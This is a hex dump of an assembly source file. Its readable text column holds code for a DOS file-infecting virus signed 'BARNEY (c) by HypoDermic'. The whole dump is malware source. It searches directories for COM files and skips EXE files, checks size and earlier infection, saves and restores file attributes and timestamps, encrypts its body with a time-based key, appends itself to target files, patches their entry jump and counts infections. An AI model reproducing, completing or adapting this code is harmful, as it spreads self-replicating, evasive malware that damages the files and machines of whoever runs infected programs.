|000010b0| 31 68 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |1h... | |
|000010c0| 20 20 20 20 20 72 65 74 | 0d 0d 0a 0d 0d 0a 69 6e | ret|......in|
|000010d0| 66 65 63 74 5f 64 69 72 | 3a 0d 0d 0a 20 20 20 20 |fect_dir|:... |
|000010e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 | | mov |
|000010f0| 20 20 20 20 61 68 2c 34 | 45 68 0d 0d 0a 20 20 20 | ah,4|Eh... |
|00001100| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6c 65 61 | | lea|
|00001110| 20 20 20 20 20 64 78 2c | 5b 62 70 20 2b 20 66 69 | dx,|[bp + fi|
|00001120| 6e 64 5f 6d 65 5d 0d 0d | 0a 20 20 20 20 20 20 20 |nd_me]..|. |
|00001130| 20 20 20 20 20 20 20 20 | 20 69 6e 74 20 20 20 20 | | int |
|00001140| 20 32 31 68 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 | 21h... | |
|00001150| 20 20 20 20 20 20 20 6a | 63 20 20 20 20 20 20 69 | j|c i|
|00001160| 6e 66 65 63 74 5f 64 6f | 6e 65 0d 0d 0a 0d 0d 0a |nfect_do|ne......|
|00001170| 6e 65 78 74 5f 66 69 6c | 65 3a 0d 0d 0a 20 20 20 |next_fil|e:... |
|00001180| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6c 65 61 | | lea|
|00001190| 20 20 20 20 20 64 78 2c | 5b 62 70 20 2b 20 6e 65 | dx,|[bp + ne|
|000011a0| 77 5f 44 54 41 20 2b 20 | 31 45 68 5d 0d 0d 0a 20 |w_DTA + |1Eh]... |
|000011b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 63 | | c|
|000011c0| 61 6c 6c 20 20 20 20 65 | 78 65 63 75 74 65 0d 0d |all e|xecute..|
|000011d0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000011e0| 20 63 6d 70 20 20 20 20 | 20 62 79 74 65 20 70 74 | cmp | byte pt|
|000011f0| 72 20 5b 62 70 20 2b 20 | 69 6e 66 65 63 74 69 6f |r [bp + |infectio|
|00001200| 6e 73 5d 2c 49 4e 46 45 | 43 54 0d 0d 0a 20 20 20 |ns],INFE|CT... |
|00001210| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6a 65 20 | | je |
|00001220| 20 20 20 20 20 69 6e 66 | 65 63 74 5f 64 6f 6e 65 | inf|ect_done|
|00001230| 0d 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |... | |
|00001240| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 68 2c 34 46 | mov | ah,4F|
|00001250| 68 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |h... | |
|00001260| 20 20 20 20 69 6e 74 20 | 20 20 20 20 32 31 68 0d | int | 21h.|
|00001270| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|00001280| 20 20 6a 6e 63 20 20 20 | 20 20 6e 65 78 74 5f 66 | jnc | next_f|
|00001290| 69 6c 65 0d 0d 0a 0d 0d | 0a 69 6e 66 65 63 74 5f |ile.....|.infect_|
|000012a0| 64 6f 6e 65 3a 0d 0d 0a | 20 20 20 20 20 20 20 20 |done:...| |
|000012b0| 20 20 20 20 20 20 20 20 | 72 65 74 0d 0d 0a 65 78 | |ret...ex|
|000012c0| 65 63 75 74 65 3a 0d 0d | 0a 20 20 20 20 20 20 20 |ecute:..|. |
|000012d0| 20 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 20 | | push |
|000012e0| 20 73 69 0d 0d 0a 0d 0d | 0a 20 20 20 20 20 20 20 | si.....|. |
|000012f0| 20 20 20 20 20 20 20 20 | 20 78 6f 72 20 20 20 20 | | xor |
|00001300| 20 61 78 2c 61 78 20 20 | 20 20 20 20 20 20 20 20 | ax,ax | |
|00001310| 20 20 20 20 20 20 20 20 | 20 3b 20 63 72 69 74 69 | | ; criti|
|00001320| 63 61 6c 20 65 72 72 6f | 72 20 68 61 6e 64 6c 65 |cal erro|r handle|
|00001330| 72 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |r... | |
|00001340| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 65 73 2c 61 | mov | es,a|
|00001350| 78 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x | |
|00001360| 20 20 20 20 3b 20 72 6f | 75 74 69 6e 65 20 2d 20 | ; ro|utine - |
|00001370| 63 61 74 63 68 20 69 6e | 74 20 32 34 0d 0d 0a 20 |catch in|t 24... |
|00001380| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6c | | l|
|00001390| 65 61 20 20 20 20 20 61 | 78 2c 5b 62 70 20 2b 20 |ea a|x,[bp + |
|000013a0| 69 6e 74 5f 32 34 5d 0d | 0d 0a 20 20 20 20 20 20 |int_24].|.. |
|000013b0| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 | | mov |
|000013c0| 20 20 65 73 3a 5b 32 34 | 68 20 2a 20 34 5d 2c 61 | es:[24|h * 4],a|
|000013d0| 78 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |x... | |
|000013e0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 65 73 3a 5b | mov | es:[|
|000013f0| 32 34 68 20 2a 20 34 20 | 2b 20 32 5d 2c 63 73 0d |24h * 4 |+ 2],cs.|
|00001400| 0d 0a 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |..... | |
|00001410| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 78 2c | mov| ax,|
|00001420| 34 33 30 30 68 20 20 20 | 20 20 20 20 20 20 20 20 |4300h | |
|00001430| 20 20 20 20 20 3b 20 63 | 68 61 6e 67 65 20 61 74 | ; c|hange at|
|00001440| 74 72 69 62 75 74 65 73 | 0d 0d 0a 20 20 20 20 20 |tributes|... |
|00001450| 20 20 20 20 20 20 20 20 | 20 20 20 69 6e 74 20 20 | | int |
|00001460| 20 20 20 32 31 68 0d 0d | 0a 0d 0d 0a 20 20 20 20 | 21h..|.... |
|00001470| 20 20 20 20 20 20 20 20 | 20 20 20 20 70 75 73 68 | | push|
|00001480| 20 20 20 20 63 78 20 64 | 78 20 64 73 0d 0d 0a 20 | cx d|x ds... |
|00001490| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 78 | | x|
|000014a0| 6f 72 20 20 20 20 20 63 | 78 2c 63 78 0d 0d 0a 20 |or c|x,cx... |
|000014b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 63 | | c|
|000014c0| 61 6c 6c 20 20 20 20 73 | 65 74 5f 61 74 74 72 69 |all s|et_attri|
|000014d0| 62 75 74 65 73 0d 0d 0a | 0d 0d 0a 20 20 20 20 20 |butes...|... |
|000014e0| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | | mov |
|000014f0| 20 20 20 61 78 2c 33 44 | 30 32 68 20 20 20 20 20 | ax,3D|02h |
|00001500| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 6f 70 65 | | ; ope|
|00001510| 6e 20 66 69 6c 65 0d 0d | 0a 20 20 20 20 20 20 20 |n file..|. |
|00001520| 20 20 20 20 20 20 20 20 | 20 69 6e 74 20 20 20 20 | | int |
|00001530| 20 32 31 68 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 | 21h... | |
|00001540| 20 20 20 20 20 20 20 6a | 63 20 20 20 20 20 20 63 | j|c c|
|00001550| 61 6e 74 5f 6f 70 65 6e | 0d 0d 0a 20 20 20 20 20 |ant_open|... |
|00001560| 20 20 20 20 20 20 20 20 | 20 20 20 78 63 68 67 20 | | xchg |
|00001570| 20 20 20 62 78 2c 61 78 | 0d 0d 0a 0d 0d 0a 20 20 | bx,ax|...... |
|00001580| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f | | mo|
|00001590| 76 20 20 20 20 20 61 78 | 2c 35 37 30 30 68 20 20 |v ax|,5700h |
|000015a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|000015b0| 73 61 76 65 20 66 69 6c | 65 20 64 61 74 65 2f 74 |save fil|e date/t|
|000015c0| 69 6d 65 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |ime... | |
|000015d0| 20 20 20 20 20 20 69 6e | 74 20 20 20 20 20 32 31 | in|t 21|
|000015e0| 68 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |h... | |
|000015f0| 20 20 20 20 70 75 73 68 | 20 20 20 20 63 78 20 64 | push| cx d|
|00001600| 78 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |x... | |
|00001610| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 61 68 2c 33 | mov | ah,3|
|00001620| 46 68 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |Fh... | |
|00001630| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 63 78 2c | mov| cx,|
|00001640| 32 38 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |28... | |
|00001650| 20 20 20 20 20 6c 65 61 | 20 20 20 20 20 64 78 2c | lea| dx,|
|00001660| 5b 62 70 20 2b 20 72 65 | 61 64 5f 62 75 66 66 65 |[bp + re|ad_buffe|
|00001670| 72 5d 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |r]... | |
|00001680| 20 20 20 20 20 69 6e 74 | 20 20 20 20 20 32 31 68 | int| 21h|
|00001690| 0d 0d 0a 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |...... | |
|000016a0| 20 20 20 20 20 20 63 6d | 70 20 20 20 20 20 77 6f | cm|p wo|
|000016b0| 72 64 20 70 74 72 20 5b | 62 70 20 2b 20 72 65 61 |rd ptr [|bp + rea|
|000016c0| 64 5f 62 75 66 66 65 72 | 5d 2c 27 5a 4d 27 0d 0d |d_buffer|],'ZM'..|
|000016d0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000016e0| 20 6a 65 20 20 20 20 20 | 20 64 6f 6e 74 5f 69 6e | je | dont_in|
|000016f0| 66 65 63 74 20 20 20 20 | 20 20 20 20 20 20 20 20 |fect | |
|00001700| 20 3b 20 2e 45 58 45 2c | 20 73 6b 69 70 0d 0d 0a | ; .EXE,| skip...|
|00001710| 0d 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |... | |
|00001720| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 6c 2c 32 20 | mov | al,2 |
|00001730| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001740| 20 20 20 3b 20 6d 6f 76 | 65 20 74 6f 20 65 6e 64 | ; mov|e to end|
|00001750| 20 6f 66 20 66 69 6c 65 | 0d 0d 0a 20 20 20 20 20 | of file|... |
|00001760| 20 20 20 20 20 20 20 20 | 20 20 20 63 61 6c 6c 20 | | call |
|00001770| 20 20 20 6d 6f 76 65 5f | 66 69 6c 65 5f 70 74 72 | move_|file_ptr|
|00001780| 0d 0d 0a 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |...... | |
|00001790| 20 20 20 20 20 20 63 6d | 70 20 20 20 20 20 64 78 | cm|p dx|
|000017a0| 2c 36 35 32 37 39 20 2d | 20 28 56 49 52 55 53 5f |,65279 -| (VIRUS_|
|000017b0| 53 49 5a 45 20 2b 20 33 | 29 0d 0d 0a 20 20 20 20 |SIZE + 3|)... |
|000017c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6a 61 20 20 | | ja |
|000017d0| 20 20 20 20 64 6f 6e 74 | 5f 69 6e 66 65 63 74 20 | dont|_infect |
|000017e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 74 6f | | ; to|
|000017f0| 6f 20 62 69 67 2c 20 64 | 6f 6e 27 74 20 69 6e 66 |o big, d|on't inf|
|00001800| 65 63 74 0d 0d 0a 0d 0d | 0a 20 20 20 20 20 20 20 |ect.....|. |
|00001810| 20 20 20 20 20 20 20 20 | 20 73 75 62 20 20 20 20 | | sub |
|00001820| 20 64 78 2c 56 49 52 55 | 53 5f 53 49 5a 45 20 2b | dx,VIRU|S_SIZE +|
|00001830| 20 33 20 20 20 20 20 20 | 20 3b 20 63 68 65 63 6b | 3 | ; check|
|00001840| 20 66 6f 72 20 70 72 65 | 76 69 6f 75 73 20 69 6e | for pre|vious in|
|00001850| 66 65 63 74 69 6f 6e 0d | 0d 0a 20 20 20 20 20 20 |fection.|.. |
|00001860| 20 20 20 20 20 20 20 20 | 20 20 63 6d 70 20 20 20 | | cmp |
|00001870| 20 20 64 78 2c 77 6f 72 | 64 20 70 74 72 20 5b 62 | dx,wor|d ptr [b|
|00001880| 70 20 2b 20 72 65 61 64 | 5f 62 75 66 66 65 72 20 |p + read|_buffer |
|00001890| 2b 20 31 5d 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 |+ 1]... | |
|000018a0| 20 20 20 20 20 20 20 6a | 65 20 20 20 20 20 20 64 | j|e d|
|000018b0| 6f 6e 74 5f 69 6e 66 65 | 63 74 0d 0d 0a 0d 0d 0a |ont_infe|ct......|
|000018c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000018d0| 61 64 64 20 20 20 20 20 | 64 78 2c 56 49 52 55 53 |add |dx,VIRUS|
|000018e0| 5f 53 49 5a 45 20 2b 20 | 33 0d 0d 0a 20 20 20 20 |_SIZE + |3... |
|000018f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 | | mov |
|00001900| 20 20 20 20 77 6f 72 64 | 20 70 74 72 20 5b 62 70 | word| ptr [bp|
|00001910| 20 2b 20 6e 65 77 5f 6a | 75 6d 70 20 2b 20 31 5d | + new_j|ump + 1]|
|00001920| 2c 64 78 0d 0d 0a 0d 0d | 0a 20 20 20 20 20 20 20 |,dx.....|. |
|00001930| 20 20 20 20 20 20 20 20 | 20 61 64 64 20 20 20 20 | | add |
|00001940| 20 64 78 2c 31 30 33 68 | 0d 0d 0a 20 20 20 20 20 | dx,103h|... |
|00001950| 20 20 20 20 20 20 20 20 | 20 20 20 63 61 6c 6c 20 | | call |
|00001960| 20 20 20 65 6e 63 72 79 | 70 74 5f 63 6f 64 65 20 | encry|pt_code |
|00001970| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 65 6e 63 | | ; enc|
|00001980| 72 79 70 74 20 76 69 72 | 75 73 0d 0d 0a 0d 0d 0a |rypt vir|us......|
|00001990| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000019a0| 6c 65 61 20 20 20 20 20 | 64 78 2c 5b 62 70 20 2b |lea |dx,[bp +|
|000019b0| 20 72 65 61 64 5f 62 75 | 66 66 65 72 5d 20 20 20 | read_bu|ffer] |
|000019c0| 3b 20 73 61 76 65 20 6f | 72 69 67 69 6e 61 6c 20 |; save o|riginal |
|000019d0| 70 72 6f 67 72 61 6d 20 | 68 65 61 64 0d 0d 0a 20 |program |head... |
|000019e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 69 | | i|
|000019f0| 6e 74 20 20 20 20 20 32 | 31 68 0d 0d 0a 20 20 20 |nt 2|1h... |
|00001a00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|00001a10| 20 20 20 20 20 61 68 2c | 34 30 68 20 20 20 20 20 | ah,|40h |
|00001a20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 77 | | ; w|
|00001a30| 72 69 74 65 20 76 69 72 | 75 73 20 74 6f 20 66 69 |rite vir|us to fi|
|00001a40| 6c 65 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |le... | |
|00001a50| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 63 78 2c | mov| cx,|
|00001a60| 56 49 52 55 53 5f 53 49 | 5a 45 0d 0d 0a 20 20 20 |VIRUS_SI|ZE... |
|00001a70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6c 65 61 | | lea|
|00001a80| 20 20 20 20 20 64 78 2c | 5b 62 70 20 2b 20 65 6e | dx,|[bp + en|
|00001a90| 63 72 79 70 74 5f 62 75 | 66 66 65 72 5d 0d 0d 0a |crypt_bu|ffer]...|
|00001aa0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001ab0| 69 6e 74 20 20 20 20 20 | 32 31 68 0d 0d 0a 0d 0d |int |21h.....|
|00001ac0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001ad0| 20 78 6f 72 20 20 20 20 | 20 61 6c 2c 61 6c 20 20 | xor | al,al |
|00001ae0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001af0| 20 3b 20 62 61 63 6b 20 | 74 6f 20 62 65 67 69 6e | ; back |to begin|
|00001b00| 6e 69 6e 67 20 6f 66 20 | 66 69 6c 65 0d 0d 0a 20 |ning of |file... |
|00001b10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 63 | | c|
|00001b20| 61 6c 6c 20 20 20 20 6d | 6f 76 65 5f 66 69 6c 65 |all m|ove_file|
|00001b30| 5f 70 74 72 0d 0d 0a 0d | 0d 0a 20 20 20 20 20 20 |_ptr....|.. |
|00001b40| 20 20 20 20 20 20 20 20 | 20 20 6c 65 61 20 20 20 | | lea |
|00001b50| 20 20 64 78 2c 5b 62 70 | 20 2b 20 6e 65 77 5f 6a | dx,[bp| + new_j|
|00001b60| 75 6d 70 5d 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 |ump]... | |
|00001b70| 20 20 20 20 20 20 20 69 | 6e 74 20 20 20 20 20 32 | i|nt 2|
|00001b80| 31 68 0d 0d 0a 0d 0d 0a | 66 69 78 5f 64 61 74 65 |1h......|fix_date|
|00001b90| 5f 74 69 6d 65 3a 0d 0d | 0a 20 20 20 20 20 20 20 |_time:..|. |
|00001ba0| 20 20 20 20 20 20 20 20 | 20 70 6f 70 20 20 20 20 | | pop |
|00001bb0| 20 64 78 20 63 78 0d 0d | 0a 20 20 20 20 20 20 20 | dx cx..|. |
|00001bc0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|00001bd0| 20 61 78 2c 35 37 30 31 | 68 20 20 20 20 20 20 20 | ax,5701|h |
|00001be0| 20 20 20 20 20 20 20 20 | 20 3b 20 72 65 73 74 6f | | ; resto|
|00001bf0| 72 65 20 66 69 6c 65 20 | 64 61 74 65 2f 74 69 6d |re file |date/tim|
|00001c00| 65 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |e... | |
|00001c10| 20 20 20 20 69 6e 74 20 | 20 20 20 20 32 31 68 0d | int | 21h.|
|00001c20| 0d 0a 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |..... | |
|00001c30| 20 20 20 20 20 69 6e 63 | 20 20 20 20 20 62 79 74 | inc| byt|
|00001c40| 65 20 70 74 72 20 5b 62 | 70 20 2b 20 69 6e 66 65 |e ptr [b|p + infe|
|00001c50| 63 74 69 6f 6e 73 5d 0d | 0d 0a 0d 0d 0a 63 6c 6f |ctions].|.....clo|
|00001c60| 73 65 3a 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |se:... | |
|00001c70| 20 20 20 20 20 20 70 6f | 70 20 20 20 20 20 64 73 | po|p ds|
|00001c80| 20 64 78 20 63 78 20 20 | 20 20 20 20 20 20 20 20 | dx cx | |
|00001c90| 20 20 20 20 20 20 3b 20 | 72 65 73 74 6f 72 65 20 | ; |restore |
|00001ca0| 61 74 74 72 69 62 75 74 | 65 73 0d 0d 0a 20 20 20 |attribut|es... |
|00001cb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 63 61 6c | | cal|
|00001cc0| 6c 20 20 20 20 73 65 74 | 5f 61 74 74 72 69 62 75 |l set|_attribu|
|00001cd0| 74 65 73 0d 0d 0a 0d 0d | 0a 20 20 20 20 20 20 20 |tes.....|. |
|00001ce0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|00001cf0| 20 61 68 2c 33 45 68 20 | 20 20 20 20 20 20 20 20 | ah,3Eh | |
|00001d00| 20 20 20 20 20 20 20 20 | 20 3b 20 63 6c 6f 73 65 | | ; close|
|00001d10| 20 66 69 6c 65 0d 0d 0a | 20 20 20 20 20 20 20 20 | file...| |
|00001d20| 20 20 20 20 20 20 20 20 | 69 6e 74 20 20 20 20 20 | |int |
|00001d30| 32 31 68 0d 0d 0a 0d 0d | 0a 63 61 6e 74 5f 6f 70 |21h.....|.cant_op|
|00001d40| 65 6e 3a 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |en:... | |
|00001d50| 20 20 20 20 20 20 70 6f | 70 20 20 20 20 20 73 69 | po|p si|
|00001d60| 0d 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |... | |
|00001d70| 20 20 20 72 65 74 0d 0d | 0a 0d 0d 0a 0d 0d 0a 73 | ret..|.......s|
|00001d80| 65 74 5f 61 74 74 72 69 | 62 75 74 65 73 3a 0d 0d |et_attri|butes:..|
|00001d90| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001da0| 20 6d 6f 76 20 20 20 20 | 20 61 78 2c 34 33 30 31 | mov | ax,4301|
|00001db0| 68 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |h... | |
|00001dc0| 20 20 20 20 69 6e 74 20 | 20 20 20 20 32 31 68 0d | int | 21h.|
|00001dd0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|00001de0| 20 20 72 65 74 0d 0d 0a | 0d 0d 0a 64 6f 6e 74 5f | ret...|...dont_|
|00001df0| 69 6e 66 65 63 74 3a 0d | 0d 0a 20 20 20 20 20 20 |infect:.|.. |
|00001e00| 20 20 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 20 | | pop |
|00001e10| 20 20 63 78 20 64 78 20 | 20 20 20 20 20 20 20 20 | cx dx | |
|00001e20| 20 20 20 20 20 20 20 20 | 20 20 3b 20 63 61 6e 27 | | ; can'|
|00001e30| 74 20 69 6e 66 65 63 74 | 2c 20 73 6b 69 70 0d 0d |t infect|, skip..|
|00001e40| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001e50| 20 6a 6d 70 20 20 20 20 | 20 63 6c 6f 73 65 0d 0d | jmp | close..|
|00001e60| 0a 0d 0d 0a 6d 6f 76 65 | 5f 66 69 6c 65 5f 70 74 |....move|_file_pt|
|00001e70| 72 3a 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |r:... | |
|00001e80| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 68 2c | mov| ah,|
|00001e90| 34 32 68 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |42h | |
|00001ea0| 20 20 20 20 20 3b 20 6d | 6f 76 65 20 66 69 6c 65 | ; m|ove file|
|00001eb0| 20 70 6f 69 6e 74 65 72 | 0d 0d 0a 20 20 20 20 20 | pointer|... |
|00001ec0| 20 20 20 20 20 20 20 20 | 20 20 20 63 77 64 0d 0d | | cwd..|
|00001ed0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001ee0| 20 78 6f 72 20 20 20 20 | 20 63 78 2c 63 78 0d 0d | xor | cx,cx..|
|00001ef0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001f00| 20 69 6e 74 20 20 20 20 | 20 32 31 68 0d 0d 0a 0d | int | 21h....|
|00001f10| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|00001f20| 20 20 6d 6f 76 20 20 20 | 20 20 64 78 2c 61 78 20 | mov | dx,ax |
|00001f30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001f40| 20 20 3b 20 73 65 74 20 | 75 70 20 72 65 67 69 73 | ; set |up regis|
|00001f50| 74 65 72 73 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 |ters... | |
|00001f60| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 61 | m|ov a|
|00001f70| 68 2c 34 30 68 0d 0d 0a | 20 20 20 20 20 20 20 20 |h,40h...| |
|00001f80| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00001f90| 63 78 2c 33 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 |cx,3... | |
|00001fa0| 20 20 20 20 20 20 20 72 | 65 74 0d 0d 0a 0d 0d 0a | r|et......|
|00001fb0| 63 6f 75 72 74 65 73 79 | 5f 6f 66 20 20 20 20 20 |courtesy|_of |
|00001fc0| 64 62 20 20 20 20 20 20 | 27 5b 42 57 5d 27 2c 30 |db |'[BW]',0|
|00001fd0| 0d 0d 0a 73 69 67 6e 61 | 74 75 72 65 20 20 20 20 |...signa|ture |
|00001fe0| 20 20 20 64 62 20 20 20 | 20 20 20 27 42 41 52 4e | db | 'BARN|
|00001ff0| 45 59 20 28 63 29 20 62 | 79 20 48 79 70 6f 44 65 |EY (c) b|y HypoDe|
|00002000| 72 6d 69 63 21 21 20 50 | 61 72 74 20 6f 66 20 74 |rmic!! P|art of t|
|00002010| 68 65 20 4d 61 79 62 65 | 72 72 79 20 46 61 6d 69 |he Maybe|rry Fami|
|00002020| 6c 79 21 21 21 27 2c 30 | 0d 0d 0a 0d 0d 0a 0d 0d |ly!!!',0|........|
|00002030| 0a 65 6e 63 72 79 70 74 | 5f 63 6f 64 65 3a 0d 0d |.encrypt|_code:..|
|00002040| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00002050| 20 70 75 73 68 20 20 20 | 20 61 78 20 63 78 0d 0d | push | ax cx..|
|00002060| 0a 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |.... | |
|00002070| 20 20 20 20 70 75 73 68 | 20 20 20 20 64 78 0d 0d | push| dx..|
|00002080| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00002090| 20 78 6f 72 20 20 20 20 | 20 61 68 2c 61 68 20 20 | xor | ah,ah |
|000020a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000020b0| 20 3b 20 67 65 74 20 74 | 69 6d 65 20 66 6f 72 20 | ; get t|ime for |
|000020c0| 72 61 6e 64 6f 6d 20 6e | 75 6d 62 65 72 0d 0d 0a |random n|umber...|
|000020d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000020e0| 69 6e 74 20 20 20 20 20 | 31 41 68 0d 0d 0a 0d 0d |int |1Ah.....|
|000020f0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00002100| 20 6d 6f 76 20 20 20 20 | 5b 62 70 20 2b 20 63 69 | mov |[bp + ci|
|00002110| 70 68 65 72 5d 2c 64 78 | 0d 0d 0a 20 20 20 20 20 |pher],dx|... |
|00002120| 20 20 20 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 | | pop |
|00002130| 20 20 20 63 78 0d 0d 0a | 20 20 20 20 20 20 20 20 | cx...| |
|00002140| 20 20 20 20 20 20 20 20 | 61 64 64 20 20 20 20 20 | |add |
|00002150| 63 78 2c 76 69 72 75 73 | 5f 63 6f 64 65 20 2d 20 |cx,virus|_code - |
|00002160| 76 69 72 75 73 5f 62 65 | 67 69 6e 0d 0d 0a 20 20 |virus_be|gin... |
|00002170| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f | | mo|
|00002180| 76 20 20 20 20 20 5b 62 | 70 20 2b 20 63 6f 64 65 |v [b|p + code|
|00002190| 5f 6f 66 66 73 65 74 5d | 2c 63 78 0d 0d 0a 20 20 |_offset]|,cx... |
|000021a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 75 | | pu|
|000021b0| 73 68 20 20 20 20 63 73 | 20 20 20 20 20 20 20 20 |sh cs| |
|000021c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|000021d0| 45 53 20 3d 20 43 53 0d | 0d 0a 20 20 20 20 20 20 |ES = CS.|.. |
|000021e0| 20 20 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 20 | | pop |
|000021f0| 20 20 65 73 0d 0d 0a 0d | 0d 0a 20 20 20 20 20 20 | es....|.. |
|00002200| 20 20 20 20 20 20 20 20 | 20 20 6c 65 61 20 20 20 | | lea |
|00002210| 20 20 73 69 2c 5b 62 70 | 20 2b 20 76 69 72 75 73 | si,[bp| + virus|
|00002220| 5f 62 65 67 69 6e 5d 0d | 0d 0a 20 20 20 20 20 20 |_begin].|.. |
|00002230| 20 20 20 20 20 20 20 20 | 20 20 6c 65 61 20 20 20 | | lea |
|00002240| 20 20 64 69 2c 5b 62 70 | 20 2b 20 6f 66 66 73 65 | di,[bp| + offse|
|00002250| 74 20 65 6e 63 72 79 70 | 74 5f 62 75 66 66 65 72 |t encryp|t_buffer|
|00002260| 5d 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |]... | |
|00002270| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 63 78 2c 76 | mov | cx,v|
|00002280| 69 72 75 73 5f 63 6f 64 | 65 20 2d 20 76 69 72 75 |irus_cod|e - viru|
|00002290| 73 5f 62 65 67 69 6e 0d | 0d 0a 20 20 20 20 20 20 |s_begin.|.. |
